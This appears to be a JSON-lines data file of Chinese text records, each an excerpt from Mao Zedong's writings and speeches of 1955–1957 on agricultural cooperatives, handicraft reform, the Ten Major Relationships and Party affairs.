    {"text": "农民组织了合作社，因为经济上的需要，迫切地要求学文化。 农民组织了合作社，有了集体的力量，情况就完全改变了，他们可以自己组织学文化。"},
    {"text": "第二种课本也应当由从事指导合作化工作的同志，帮助当地的知识分子，根据一个较小范围的地方（例如一个县，或者一个专区）的事物和语汇，加上一部分全省（市、区）的和全国性的事物和语汇编出来，也只要几百字。"},
    {"text": "（《琼山县第一区红旗农业生产合作社，在同自然灾害和同资本主义思想作斗争中巩固起来了》一文按语） 四十三 对于条件已经成熟了的合作社，就应当考虑使它们从初级形式转到高级形式上去，以便使生产力和生产获得进一步的发展。"},
    {"text": "因为初级形式的合作社保存了半私有制，到了一定的时候，这种半私有制就束缚了生产力的发展，人们就要求改变这种制度，使合作社成为生产资料完全公有化的集体经营的经济团体。"},
    {"text": "各省各市和各自治区的党组织对此应有研究和布置，在一九五六和一九五七两年内，应当在群众同意的条件下办一些试点性质的高级社。 现在办的合作社一般地是小型社，向高级社转变的时候，应当取得群众同意，把许多小型社合并起来成为大型社。 如果能够在这两年使得每个区都有一个至几个这样的合作社，并且在群众中显出它们比较初级社具有更大的优越性，那就可以使以后几年的并社升级工作，获得有利的条件。"},
    {"text": "当着人们看见了大型社和高级社比较小型社和初级社更为有利的时候，当着人们看见长期规划将给他们带来比较现在高得多的物质和文化的生活水平的时候，他们就会同意并社和升级的。"},
    {"text": "（《一个从初级形式过渡到高级形式的合作社》一文按语） 注 释 * 毛泽东同志在编辑《中国农村的社会主义高潮》一书的时候，写了一百零四篇按语，这里选辑了四十三篇。"},
    {"text": "一九五八年三月，在成都召开的中共中央政治局扩大会议，重印了一部分按语，为此，毛泽东同志在一九五八年三月十九日写了一个说明。 这个说明全文如下： “这些按语见《中国农村的社会主义高潮》一书中，是一九五五年九月和十二月写的，其中有一些现在还没有丧失它们的意义。"},
    {"text": "应当说：一九五五年是在生产关系的所有制方面取得基本胜利的一年，在生产关系的其他方面以及上层建筑的某些方面即思想战线方面和政治战线方面，则或者还没有基本胜利，或者还没有完全胜利，还有待于尔后的努力。"},
    {"text": "” 〔1〕 这里所说的“倒宣传”，是指在群众普遍发动起来，纷纷要求入社的时候，除了宣传组织合作社的好处和有利条件以外，还要向群众公开说明各种可能遇到的困难和不利情况，让大家充分考虑，做到自愿入社。"},
    {"text": "征询对农业十七条的意见 征询对农业十七条的意见 * （一九五五年十二月二十一日） 今年十一月间毛泽东同志在杭州和天津分别同十四个省委书记和内蒙自治区党委书记共同商定的十七条，中央认为应当于一月十日中央召集的有各省委、市委、自治区党委书记参加的会议上，加以确定，以便纳入一九五六年的计划，认真开始实行。为此目的，请你们于接电后即召集所属各地委书记和一部分县委书记详细研究一下:（甲）究竟是否全部可以实现，还是有一部分不能实现，实现的根据是否每条都是充分的；（乙）除了十七条以外，是否还有增加（只要是可行的，可以增加）；（丙）你们是否准备立即纳入你们的一九五六年计划内开始实行。以上各点，请你们于一九五六年一月三日以前研究完毕，准备意见。 十七条内容如下: （一）农业合作化的进度，一九五六年下半年基本上完成初级形式的建社工作，省、市、自治区（除新疆外）一级的指标以要求完成百分之七十五的农户入社为宜，让下面超过一点，达到百分之八十至八十五左右。 合作化的高级形式，争取于一九六〇年基本上完成，是否可以缩短一年，争取于一九五九年基本上完成。为此，需要于一九五六年由县最好由区直接掌握每县或者每区办一个至几个大型（一百户以上的）高级社，再于一九五七年办一批，这两批应占农户百分之二十五左右，以为榜样。这样是否可能。又由小社变大社，规模如何。一乡几社，一乡一社，数乡一社，三者是否都可行。全国总社数三十万个，或者四十万个，或者五十万个，究以何者为宜。苏联是十万个社，我国是否以三十几万个社或者四十万个社为适宜。又先并社后升级为好，还是并社升级同时进行为好，还是先升级后并社为好。以上各点请你们一并加以研究。 （二）地主、富农入社，一九五六年是否即照安徽、山西、黑龙江等省的意见办理，即好的许其入社，不好不坏的许其在社生产，不给社员称号，坏的由社管制生产，凡干部强的老社均可这样做。这样做好处很多，但是有一个缺点就是势必逼使那些目前还不愿入社的上中农勉强入社，并且让他们先入社，然后再让地富入社，才使他们面子上过得去。这样是否有利。或者推迟一年，即到一九五七年才行上述办法。这二者哪一种有利些，请加研究。 （三）合作社领导成分，由现有的贫农和原来是贫农的全部新下中农占三分之二，老下中农和新老两部分上中农占三分之一。 （四） 增产的条件:（甲）实行几项基本措施（内容待商，各地可以有些差别）；（乙）推广先进经验（每年收集典型例子，每省印成一本）。 （五）一九五六年一切省、地、县、区、乡都要做出一个包括一切必要项目的全面长期计划，着重县、乡计划，于上半年完成初稿，下半年定稿，以后还可修改。计划包括的时间，至少三年，最好七年，可以到十二年。此事必须抓紧去做，你们是否已有布置。因为无经验，有许多可能是很粗糙的，但是必须争取少数县、乡的计划比较接近实际，以利推广。 （六）全面规划保护和繁殖牛、马、骡、驴、猪、羊、鸡、鸭，特别要保护幼畜。繁殖计划待商，请你们准备意见。 （七）同流域规划相结合，大量地兴修小型水利，保证在七年内基本上消灭普通的水灾旱灾。 （八）在七年内，基本上消灭十几种不利于农作物的虫害和病害。 （九）在十二年内，基本上消灭荒地荒山，在一切宅旁、村旁、路旁、水旁，以及荒地上荒山上，即在一切可能的地方，均要按规格种起树来，实行绿化。 （十）在十二年内，大部分地区百分之九十的肥料，一部分地区百分之百的肥料，由地方和合作社自己解决。 （十一）在十二年内，平均每亩粮食产量，在黄河、秦岭、白龙江、黄河（青海境内）以北，要求达到四百斤，黄河以南、淮河以北五百斤，淮河、秦岭、白龙江以南八百斤。棉花、油料、大豆、丝、茶、黄麻、甘蔗、水果等项指标，请你们提出计划数字，待商。 （十二）在七年内，基本上消灭若干种危害人民和牲畜最严重的疾病，例如血吸虫病、血丝虫病、鼠疫、脑炎、牛瘟、猪瘟等。请你们研究各省、区的地方病，哪些是七年内可以基本上消灭的，哪些是要延长时间才能消灭的，哪些是目前无法消灭的。 （十三）除四害，即在七年内基本上消灭老鼠（及其他害兽），麻雀（及其他害鸟，但乌鸦是否宜于消灭，尚待研究），苍蝇，蚊子 〔1〕 。 （十四）在七年内，基本上扫除文盲，每人必须认识一千五百到二千个字。 （十五）在七年内，将省、地、县、区、乡的各种必要的道路按规格修好（其中有些是公路，有些是大路，有些是小路）。 （十六）在七年内，建立有线广播网，使每个乡和每个合作社都能收听有线广播。 （十七）在七年内，完成乡和大型合作社的电话网。 以上各项，请你们和有关同志加以研究，于一月三日以前准备完毕。中央可能于一月四日左右先行邀集若干省委书记开会研究几天，为一月十日的会议准备意见。 注 释 * 这是毛泽东同志为中共中央起草的给上海局，各省委、自治区党委的通知。 〔1〕 一九六〇年三月，毛泽东为中共中央起草的关于卫生工作的指示中，对除四害的内容作了改动，将麻雀换为臭虫。"},
    {"text": "加快手工业的社会主义改造 加快手工业的社会主义改造 * （一九五六年三月四日） （一）个体手工业社会主义改造的速度，我觉得慢了一点。今年一月省市委书记会议的时候，我就说过有点慢。一九五五年底以前只组织了二百万人。今年头两个月就发展了三百万人，今年基本上可以搞完，这很好。手工业的总产值，你们设想在三个五年计划期间平均每年增长百分之十点九，似乎低一点。第一个五年计划定低了，吃了点亏，现在可以不更改，你们要在工作中掌握。 （二）手工业合作社的规模，一般的一百人左右为宜，有的也可以几百人，有的也可以几十人。 （三）组织铁、木业合作社为农业生产服务，下乡修理农具，这个办法很好，农民一定欢迎。中国手工业几千年来就有这样做的。组织合作社以后，提高了技术，就能更好地为农民服务。 （四）你们说，在手工业改造高潮中，修理和服务行业集中生产，撤点过多，群众不满意。这就糟糕!现在怎么办？“天下大势，分久必合，合久必分”。 （五）手工业生产的劳动生产率，同半机械化、机械化生产比较，最高最低相差达三十多倍。每人每年平均产值，国营现代化工业是二万元到三万元，半机械化、机械化的合作社是五千元，百人以上的大型合作社是二千元，小型合作社是一千五百元，个体手工业是八百至九百元。把劳动生产率作一个比较，就清楚了:手工业要向半机械化、机械化方向发展，劳动生产率必须提高。 （六）手工业的各行各业都是做好事的。吃的、穿的、用的都有。还有工艺美术品，什么景泰蓝，什么“葡萄常五处女” 〔1〕 的葡萄。还有烤鸭子可以技术出口。有些服务性行业，串街游乡，修修补补，王大娘补缸，这些人跑的地方多，见识很广。北京东晓市有六千多种产品。 提醒你们，手工业中许多好东西，不要搞掉了。王麻子、张小泉的刀剪一万年也不要搞掉。我们民族好的东西，搞掉了的，一定都要来一个恢复，而且要搞得更好一些。 （七）提高工艺美术品的水平和保护民间老艺人的办法很好，赶快搞，要搞快一些。你们自己设立机构，开办学院，召集会议。杨士惠 〔6〕 是搞象牙雕刻的，实际上他是很高明的艺术家。他和我坐在一个桌子上吃饭，看着我，就能为我雕像。我看人家几天，恐怕画都画不出来。 （八）国家调拨物资给合作社，要合理作价，不能按国家调拨价格作价。合作社和国家企业不一样，社会主义集体所有制和社会主义全民所有制有区别。合作社开始时期经济基础不大，需要国家帮助。国家将替换下来的旧机器和公私合营并厂后多余的机器、厂房，低价拨给合作社，很好。“将欲取之，必先与之” 〔7〕 。待合作社的基础大了，国家就要多收税，原料还要加价。那时，合作社在形式上是集体所有，在实际上成了全民所有。 国家要帮助合作社半机械化、机械化，合作社本身也要努力发展半机械化、机械化。机械化的速度越快，你们手工业合作社的寿命就越短。你们的“国家”越缩小，我们的事业就越好办了。你们努力快一些机械化，多交一些给国家吧。 （九）手工业产值占全国工业总产值的四分之一，它的供产销为什么没有纳入国家计划？手工业这样大，应当纳入国家计划。 （十）有些地方党委忙，手工业排不上队，这不好。为什么有些干部不大愿意做手工业的工作？我倒很想搞这样的事，很重要嘛! （十一）你们要在六万多个手工业合作社组织中，选择突出的例子，编写典型材料。各地区、各行各业都要有；好的、坏的，大的、小的，集中的、分散的，半机械化的、机械化的都要有。出一本书，像《中国农村的社会主义高潮》一样。 注 释 * 这是毛泽东同志在国务院有关部门汇报手工业工作情况时所作指示的一部分。 〔1〕 指以吹制玻璃葡萄著名的北京手工艺人常家的五位妇女。"},
    {"text": "论十大关系 论十大关系 * （一九五六年四月二十五日） 最近几个月，中央政治局听了中央工业、农业、运输业、商业、财政等三十四个部门的工作汇报，从中看到一些有关社会主义建设和社会主义改造的问题。"},
    {"text": "综合起来，一共有十个问题，也就是十大关系。 提出这十个问题，都是围绕着一个基本方针，就是要把国内外一切积极因素调动起来，为社会主义事业服务。"},
    {"text": "你如果是真想，或者想得厉害，那你就要注重农业、轻工业，使粮食和轻工业原料更多些，积累更多些，投到重工业方面的资金将来也会更多些。 我们现在发展重工业可以有两种办法，一种是少发展一些农业、轻工业，一种是多发展一些农业、轻工业。 从长远观点来看，前一种办法会使重工业发展得少些和慢些，至少基础不那么稳固，几十年后算总账是划不来的。 后一种办法会使重工业发展得多些和快些，而且由于保障了人民生活的需要，会使它发展的基础更加稳固。"},
    {"text": "二 沿海工业和内地工业的关系 我国的工业过去集中在沿海。 所谓沿海，是指辽宁、河北、北京、天津、河南东部、山东、安徽、江苏、上海、浙江、福建、广东、广西。 我国全部轻工业和重工业，都有约百分之七十在沿海，只有百分之三十在内地。"},
    {"text": "从现有材料看来，轻工业工厂的建设和积累一般都很快，全部投产以后，四年之内，除了收回本厂的投资以外，还可以赚回三个厂，两个厂，一个厂，至少半个厂。"},
    {"text": "但是沿海也可以建立一些新的厂矿，有些也可以是大型的。 至于沿海原有的轻重工业的扩建和改建，过去已经作了一些，以后还要大大发展。 好好地利用和发展沿海的工业老底子，可以使我们更有力量来发展和支持内地工业。"},
    {"text": "一九五〇年，我们在党的七届三中全会上，已经提出精简国家机构、减少军政费用的问题，认为这是争取我国财政经济情况根本好转的三个条件之一。"},
    {"text": "把什么东西统统都集中在中央或省市，不给工厂一点权力，一点机动的余地，一点利益，恐怕不妥。 中央、省市和工厂的权益究竟应当各有多大才适当，我们经验不多，还要研究。"},
    {"text": "从原则上说，统一性和独立性是对立的统一，要有统一性，也要有独立性。 比如我们现在开会是统一性，散会以后有人散步，有人读书，有人吃饭，就是独立性。"},
    {"text": "我们发现了缺点，一九五五年就少购了七十亿斤，又搞了一个“三定”，就是定产定购定销，加上丰收，一少一增，使农民手里多了二百多亿斤粮食。"},
    {"text": "他们采取所谓义务交售制 〔1〕 等项办法，把农民生产的东西拿走太多，给的代价又极低。 他们这样来积累资金，使农民的生产积极性受到极大的损害。"},
    {"text": "合作社同农民的关系也要处理好。 在合作社的收入中，国家拿多少，合作社拿多少，农民拿多少，以及怎样拿法，都要规定得适当。 合作社所拿的部分，都是直接为农民服务的。"},
    {"text": "除了遇到特大自然灾害以外，我们必须在增加农业生产的基础上，争取百分之九十的社员每年的收入比前一年有所增加，百分之十的社员的收入能够不增不减，如有减少，也要及早想办法加以解决。"},
    {"text": "五 中央和地方的关系 中央和地方的关系也是一个矛盾。 解决这个矛盾，目前要注意的是，应当在巩固中央统一领导的前提下，扩大一点地方的权力，给地方更多的独立性，让地方办更多的事情。"},
    {"text": "中央要发展工业，地方也要发展工业。 就是中央直属的工业，也还是要靠地方协助。 至于农业和商业，更需要依靠地方。 总之，要发展社会主义建设，就必须发挥地方的积极性。 中央要巩固，就要注意地方的利益。"},
    {"text": "省市对中央部门有意见，地、县、区、乡对省市就没有意见吗？ 中央要注意发挥省市的积极性，省市也要注意发挥地、县、区、乡的积极性，都不能够框得太死。"},
    {"text": "在解决中央和地方、地方和地方的关系问题上，我们的经验还不多，还不成熟，希望你们好好研究讨论，并且每过一个时期就要总结经验，发扬成绩，克服缺点。"},
    {"text": "各个少数民族对中国的历史都作过贡献。 汉族人口多，也是长时期内许多民族混血形成的。 历史上的反动统治者，主要是汉族的反动统治者，曾经在我们各民族中间制造种种隔阂，欺负少数民族。"},
    {"text": "还有一条，机关里的反革命跟社会上的反革命不同。 社会上的反革命爬在人民的头上，而机关里的反革命跟人民隔得远些，他们有普遍的冤头，但是直接的冤头不多。"},
    {"text": "如何对待犯了错误的人，这是一个重要的问题。 正确的态度应当是，对于犯错误的同志，采取“惩前毖后，治病救人”的方针，帮助他们改正错误，允许他们继续革命。"},
    {"text": "犯错误的人，除了极少数坚持错误、屡教不改的以外，大多数是可以改正的。 正如得过伤寒病的可以免疫一样，犯过错误的人，只要善于从错误中取得教训，也可以少犯错误。"},
    {"text": "好意对待犯错误的人，可以得人心，可以团结人。 对待犯错误的同志，究竟是采取帮助态度还是采取敌视态度，这是区别一个人是好心还是坏心的一个标准。"},
    {"text": "对外国的科学、技术和文化，不加分析地一概排斥，和前面所说的对外国东西不加分析地一概照搬，都不是马克思主义的态度，都对我们的事业不利。"},
    {"text": "工农业不发达，科学技术水平低，除了地大物博，人口众多，历史悠久，以及在文学上有部《红楼梦》等等以外，很多地方不如人家，骄傲不起来。"},
    {"text": "但是，有些人做奴隶做久了， 感觉事事不如人，在外国人面前伸不直腰，像《法门寺》里的贾桂 〔2〕 一样，人家让他坐，他说站惯了，不想坐。"},
    {"text": "我们的任务，是要正确处理这些矛盾。 这些矛盾在实践中是否能完全处理好，也要准备两种可能性，而且在处理这些矛盾的过程中，一定还会遇到新的矛盾，新的问题。"},
    {"text": "我们一定要努力把党内党外、国内国外的一切积极的因素，直接的、间接的积极因素，全部调动起来，把我国建设成为一个强大的社会主义国家。"},
    {"text": "毛泽东同志在这篇讲话中，以苏联的经验为鉴戒，总结了我国的经验，论述了社会主义革命和社会主义建设中的十大关系，提出了适合我国情况的多快好省地建设社会主义总路线地基本思想。"},
    {"text": "总的说来，就是总结七大以来的经验，团结全党，团结国内外一切可以团结的力量，为建设伟大的社会主义中国而奋斗。 关于总结经验，我们的经验是很丰富的，但是不能够罗列很多事情，而是要抓住重点，从实际出发，根据马克思主义的观点，加以总结。"},
    {"text": "但是，事实摆在面前，我们进行了两个革命:一个是资产阶级民主革命，夺取全国政权； 一个是无产阶级社会主义革命，实行社会主义改造，建设社会主义国家。"},
    {"text": "过去说中国是“老大帝国”，“东亚病夫”，经济落后，文化也落后，又不讲卫生，打球也不行，游水也不行，女人是小脚，男人留辫子，还有太监，中国的月亮也不那么很好，外国的月亮总是比较清爽一点，总而言之，坏事不少。"},
    {"text": "对这一千多万党员，要进行广大的教育工作、说服工作、团结工作，使他们在人民中间更好地起核心的作用。 单有党还不行，党是一个核心，它必须要有群众。"},
    {"text": "在国际上，我们要团结全世界一切可以团结的力量，首先是团结苏联，团结兄弟党、兄弟国家和人民，还要团结所有爱好和平的国家和人民，借重一切有用的力量。"},
    {"text": "我们现在也还不多，但是搞起一点来了，今年是四百多万吨，明年突破五百万吨，第二个五年计划要超过一千万吨，第三个五年计划就可能超过两千万吨。"},
    {"text": "所以，我们这个国家建设起来，是一个伟大的社会主义国家，将完全改变过去一百多年落后的那种情况，被人家看不起的那种情况，倒霉的那种情况，而且会赶上世界上最强大的资本主义国家，就是美国。"},
    {"text": "你有那么多人，你有那么一块大地方，资源那么丰富，又听说搞了社会主义，据说是有优越性，结果你搞了五六十年还不能超过美国，你像个什么样子呢？"},
    {"text": "过去，在民主革命中，我们受主观主义的害时间很长，受了很大的惩罚，根据地差不多丧失干净，革命力量丧失百分之九十以上，一直到这个时候我们才开始觉悟。"},
    {"text": "马克思主义的普遍真理一定要同中国革命的具体实践相结合，如果不结合，那就不行。 这就是说，理论与实践要统一。 理论与实践的统一，是马克思主义的一个最基本的原则。 按照辩证唯物论，思想必须反映客观实际，并且在客观实践中得到检验，证明是真理，这才算是真理，不然就不算。"},
    {"text": "因为苏联发生了一些错误，这方面讲得多了，吹得多了，似乎那种错误不得了，这种观察是不妥的。 任何一个民族，不可能不犯错误，何况苏联是世界上第一个社会主义国家，经历又那么长久，不发生错误是不可能的。 苏联发生的错误，像斯大林的错误，它的位置是什么呢？"},
    {"text": "所谓团结，就是团结跟自己意见分歧的，看不起自己的，不尊重自己的，跟自己闹过别 扭的，跟自己作过斗争的，自己在他面前吃过亏的那一部分人。"},
    {"text": "比如，现在我们党里头，有许多组织上入了党而思想上还没有入党的人，他虽然没有跟你打过架，交过手，但是因为他思想上还没有入党，于是乎做的事情就势必不很妥当，有些缺点，或者做出一些坏事。"},
    {"text": "在十一年间，他们正确地领导了中国的民主革命，正确地领导了社会主义革命和社会主义建设，没有出大毛病，并且同各种各样的机会主义的东西作斗争，同错误的东西作斗争，克服了各种不利于革命、不利于建设的因素。"},
    {"text": "他们把自己封为百分之百的布尔什维克，后头一查，他们是百分之百的机会主义，而我们这些被他们封为“机会主义者”的，倒是多少有点马克思主义。"},
    {"text": "小资产阶级中间有相当大一部分人是动摇的。 比如富裕中农，大家看到，无论在哪个革命中间，他们总是动摇的，不坚定的，高兴起来可以发狂，悲观起来可以垂头丧气。"},
    {"text": "我们党也吸收了一部分知识分子，在一千多万党员里头，大中小知识分子大概占一百万。 这一百万知识分子，说他们代表帝国主义不好讲，代表地主阶级不好讲，代表官僚资产阶级不好讲，代表民族资产阶级也不好讲，归到小资产阶级范畴比较适合。"},
    {"text": "这种动摇就是机会主义。 所谓机会主义，就是这里有利就干这件事，那里有利就干那件事，没有一定的原则，没有一定的章程，没有一定的方向，他今天是这样，明天又是那样。"},
    {"text": "没有当中央委员的，“三八式”以前也好，“三八式”也好，“三八式”以后也好，会不会就学王明、李立三，也搞两条路线，变成四条路线，以便争取当中央委员呢？"},
    {"text": "还有，从前有所谓“早革命不如迟革命，革命不如不革命”那么一种话，那末，选举他们，党内会不会发生正确不如错误、小错误不如大错误这样的问题呢？"},
    {"text": "所以，不是王明、李立三改不改的问题，他们改或者不改关系不大，关系大的是党内成百万容易动摇的出身于小资产阶级的成分，特别是知识分子，看我们对王明、李立三是怎样一种态度。"},
    {"text": "如果我们八大对他们两位采取的态度还是同七大的态度一样，那我们党就可以得到一种利益，得到一种好处，就是对于改造全国广大的小资产阶级比较容易些。"},
    {"text": "我们党的—些历史经验 我们党的—些历史经验 * （一九五六年九月二十五日） 美帝国主义是你们的对头，也是我们的对头，也是全世界人民的对头。"},
    {"text": "知识分子下乡找农民，如果态度不好，就不能取得农民的信任。 城市的知识分子对农村事物、农民心理不大了解，解决农民问题总是不那么恰当。"},
    {"text": "我们许多同志从平面看农村，不是立体地看农村，就是说，不懂得用阶级观点看农村。 后来掌握了马克思主义，才用阶级观点看农村。 原来农村不是平面的，而是有富的，有贫的，也有最贫的，有雇农、贫农、中农、富农、地主之分。"},
    {"text": "这个时期，以瞿秋白、李立三、王明为代表的三次“左”倾机会主义路线，给我们党带来了很大的损失，特别是王明“左”倾机会主义路线，把我们党在农村中的大部分根据地搞垮了。"},
    {"text": "要争取和依靠农民，就要调查农村。 方法是调查一两个或几个农村，花几个星期的时间，弄清农村阶级力量、经济情况、生活条件等问题。 像党的总书记这样主要的领导人员，要亲自动手，了解一两个农村，争取一些时间去做，这是划得来的。"},
    {"text": "总书记调查一两个农村，心中有数了，就可以帮助同志们去了解农村，弄清农村的具体情况。 我看很多国家的党，总书记不重视解剖一两个“麻雀”，对农村懂是懂得一点，但是不深刻，因此，发出的指示不很符合农村情况。 党的领导机关，包括全国性的、省的和县的负责同志，也要亲自调查一两个农村，解剖一两个“麻雀”。"},
    {"text": "你们国家有那么多的花，看一看望一望就走，这是很不够的，还必须用第二种方法，就是走马看花，过细看花，分析一朵“花”，解剖一个“麻雀”。"},
    {"text": "我们在抗日战争的时候，就利用英、美和日本的矛盾，首先打倒日本侵略者和依附于它的买办集团。 然后，再去反对美、英侵略势力，打倒亲美、亲英的买办集团。"},
    {"text": "在受帝国主义和封建主义压迫的国家，无产阶级政党要把民族旗帜拿在自己手里，必须有民族团结的纲领，团结除帝国主义走狗以外的一切可能团结的力量。"},
    {"text": "纪念孙中山先生 纪念孙中山先生 * （一九五六年十一月十二日） 纪念伟大的革命先行者孙中山先生! 纪念他在中国民主革命准备时期，以鲜明的中国革命民主派立场，同中国改良派作了尖锐的斗争。他在这一场斗争中是中国革命民主派的旗帜。 纪念他在辛亥革命时期，领导人民推翻帝制、建立共和国的丰功伟绩。 纪念他在第一次国共合作时期，把旧三民主义发展为新三民主义的丰功伟绩。 他在政治思想方面留给我们许多有益的东西。 现代中国人，除了一小撮反动分子以外，都是孙先生革命事业的继承者。 我们完成了孙先生没有完成的民主革命，并且把这个革命发展为社会主义革命。我们正在完成这个革命。 事物总是发展的。一九一一年的革命，即辛亥革命，到今年，不过四十五年，中国的面目完全变了。再过四十五年，就是二千零一年，也就是进到二十一世纪的时候，中国的面目更要大变。中国将变为一个强大的社会主义工业国。中国应当这样。因为中国是一个具有九百六十万平方公里土地和六万万人口的国家，中国应当对于人类有较大的贡献。而这种贡献，在过去一个长时期内，则是太少了。这使我们感到惭愧。 但是要谦虚。不但现在应当这样，四十五年之后也应当这样，永远应当这样。中国人在国际交往方面，应当坚决、彻底、干净、全部地消灭大国主义。 孙先生是一个谦虚的人。我听过他多次讲演，感到他有一种宏伟的气魄。从他注意研究中国历史情况和当前社会情况方面，又从他注意研究包括苏联在内的外国情况方面，知道他是很虚心的。 他全心全意地为了改造中国而耗费了毕生的精力，真是鞠躬尽瘁，死而后已。 像很多站在正面指导时代潮流的伟大历史人物大都有他们的缺点一样，孙先生也有他的缺点方面。这是要从历史条件加以说明，使人理解，不可以苛求于前人的。 注 释 * 这是毛泽东为纪念孙中山诞辰九十周年写的文章。"},
    {"text": "在中国共产党第八届中央委员会第二次全体会议上的讲话 在中国共产党第八届中央委员会 第二次全体会议上的讲话 （一九五六年十一月十五日） 我讲四个问题；"},
    {"text": "前几年建设中有一个问题，就象有的同志所说的，光注意“骨头”，不大注意“肉”，厂房、机器设备等搞起来了，而市政建设和服务性的设施没有相应地搞起来，将来问题很大。"},
    {"text": "后头又纠正这个偏差，来搞副业和经济作物，特别是二十项、三十项比价一定，什么棉粮比价，油粮比价，猪粮比价，烟粮比价，等等，这样一来，农民对副业、经济作物就大有味道，而粮食不行了。 开头一偏偏到粮食，再一偏偏到副业、经济作物。"},
    {"text": "今年这一年，报纸上片面地、不合实际地宣传要改善人民生活，而对勤俭建国，反对铺张浪费，提倡艰苦朴素、同甘共苦这些东西，很少宣传，以后报纸的宣传重点要放到这方面来。"},
    {"text": "生产力是最革命的因素。 生产力发展了，总是要革命的。 生产力有两项，一项是人，一项是工具。 工具是人创造的。 工具要革命，它会通过人来讲话，通过劳动者来讲话，破坏旧的生产关系，破坏旧的社会关系。"},
    {"text": "我们对待资本家的政策跟他们不同； 我们的市场物价政策跟他们不同； 我们处理农业、轻工业同重工业的关系，跟他们不同； 我们军队里头的制度和党里头的制度也跟他们不同。"},
    {"text": "一九五三年十二月二十四日，在揭露高岗的中央会议上，我曾经宣布说，北京城里头有两个司令部：一个司令部就是我们这些人的，这个司令部刮阳风，烧阳火；"},
    {"text": "东欧一些国家的基本问题就是阶级斗争没有搞好，那么多反革命没有搞掉，没有在阶级斗争中训练无产阶级，分清敌我，分清是非，分清唯心论和唯物论。"},
    {"text": "对付帝国主义、封建主义、官僚资本主义，对付资本主义。 私营工商业的社会主义改造，是对付资本主义的。 农业的社会主义改造，是要废除小生产私有制，就它的性质来说，也是对付资本主义的。"},
    {"text": "我们党有成百万有经验的干部。 我们这些干部，大多数是好的，是土生土长，联系群众，经过长期斗争考验的。 我们有这么一套干部：有建党时期的，有北伐战争时期的，有土地革命战争时期的，有抗日战争时期的，有解放战争时期的，有全国解放以后的，他们都是我们国家的宝贵财产。"},
    {"text": "我们主张和风细雨，当然，这中间个别的人也难免稍微激烈一点，但总的倾向是要把病治好，把人救了，真正要达到治病救人的目的，不是讲讲而已。"},
    {"text": "在人民内部，对犯错误的人，都用保护他又批评他的方法，这样就很得人心，就能够团结全国人民，调动六亿人口中的一切积极因素，来建设社会主义。"},
    {"text": "要加强政治工作。 不论文武，不论工厂，农村，商店，学校，军队，党政机关，群众团体，各方面都要极大地加强政治工作，提高干部和群众的政治水平。"},
    {"text": "在省市自治区党委书记会议上的讲话 在省市自治区党委书记 会议上的讲话 （一九五七年一月） 一 一月十八日的讲话 这次会议，要讨论的问题主要是三个：思想动向问题，农村问题，经济问题。"},
    {"text": "农业部的部长廖鲁言，又是党中央农村工作部的副部长，据他讲，他自己泄了气，他下面的负责干部也泄了气，横直是不行了，农业发展纲要四十条也不算数了。"},
    {"text": "我们的部长、副部长、司局长和省一级的干部中，相当一部分人，出身于地主、富农和富裕中农家庭，有些人的老太爷是地主，现在还没有选举权。"},
    {"text": "倒是乡下的地主、富农，城市里的资本家、民主党派，多数还比较守规矩，他们在波兰、匈牙利闹风潮的时候还没有闹乱子，没有跳出来说要杀几千几万人。"},
    {"text": "他们中间有相当多的人，虽然艰苦奋斗多少年，有所锻炼，但是马克思主义学得不多，在思想方面，精神方面，还是跟稻子一样，风一吹就要摇。"},
    {"text": "在我们军队的高级干部中间，有些人可能是自己回家，或者是接了亲属来，听到富裕中农、富农、地主的那些话，受了触动，于是就替农民叫苦。 一九五五年上半年，党内有相当多的人替农民叫苦，跟梁漱溟之流相呼应，好象只有他们这两部分人才代表农民，才知道农民的疾苦。"},
    {"text": "江苏作了一个调查，有的地区，县区乡三级干部中间，有百分之三十的人替农民叫苦。 后头一查，这些替农民叫苦的人，大多数是家里比较富裕，有余粮出卖的人。"},
    {"text": "两类矛盾，一类是帝国主义跟帝国主义之间的矛盾，即美国跟英国、美国跟法国之间的矛盾，一类是帝国主义跟被压迫民族之间的矛盾。 三种力量，第一种是最大的帝国主义美国，第二种是二等帝国主义英、法，第三种就是被压迫民族。"},
    {"text": "他们里头有我们的人，就是那里的共产党，革命的工人、农民、知识分子，进步人士。 我们里头有他们的人，拿中国来说，就是资产阶级中间和民主党派中间的许多人，还有地主阶级。"},
    {"text": "有人说，既然都是共产党员，就应当一样好，为什么还要做工作呀？ 做工作就是搞统一战线，做民主人士的工作，为什么还要做共产党员的工作呀？"},
    {"text": "你无非是在地球上挖了那么一点东西，变成钢材，做成汽车飞机之类，这有什么了不起!可是你把它当作那么大的包袱背在背上，什么革命原则都不顾了，这还不叫利令智昏!官做大了也可以利令智昏。"},
    {"text": "真理是跟谬误相比较，并且同它作斗争发展起来的。 美是跟丑相比较，并且同它作斗争发展起来的。 善恶也是这样，善事、善人是跟恶事、恶人相比较，并且同它作斗争发展起来的。 总之，香花是跟毒草相比较，并且同它作斗争发展起来的。"},
    {"text": "在哲学里边，唯物主义和唯心主义是对立统一，这两个东西是相互斗争的。 还有两个东西，叫做辩证法和形而上学，也是对立统一、相互斗争的。"},
    {"text": "马克思主义的三个组成部分，是在研究资产阶级的东西，研究德国的古典哲学、英国的古典经济学、法国的空想社会主义，并且跟它们作斗争的过程中产生的。"},
    {"text": "辞典里说:“像战争与和平、资产阶级与无产阶级、生与死等等现象不能是同一的，因为它们是根本对立和相互排斥的。 ”这就是说，这些根本对立的现象，没有马克思主义的同一性，它们只是互相排斥，不互相联结，不能在一定条件下互相转化。"},
    {"text": "生与死不能转化，请问生物从何而来？ 地球上原来只有无生物，生物是后来才有的，是由无生物即死物转化而来的。 生物都有新陈代谢，有生长、繁殖和死亡。 在生命活动的过程中，生与死也在不断地互相斗争、互相转化。"},
    {"text": "留下来的这一部分，我们正在改造他们，这是在新的情况下的对立统一到台湾去的那十分之一，我们跟他们还是对立统一，也要经过斗争转化他们。"},
    {"text": "社会上的歪风一定要打下去。 无论党内也好，民主人士中间也好，青年学生中间也好，凡是歪风，就是说，不是个别人的错误，而是形成了一股风的，一定要打下去。"},
    {"text": "社会上的事情总是对立统一的。 社会主义社会也是对立统一的，有人民内部的对立统一，有敌我之间的对立统一。 在我们的国家里还有少数人闹事，基本原因就在于社会上仍然有各种对立的方面——正面和反面，仍然有对立的阶级，对立的人们，对立的意见。"},
    {"text": "至于梁漱溟、彭一湖、章乃器那一类人，他们有屁就让他们放，放出来有利，让大家闻一闻，是香的还是臭的，经过讨论，争取多数，使他们孤立起来。"},
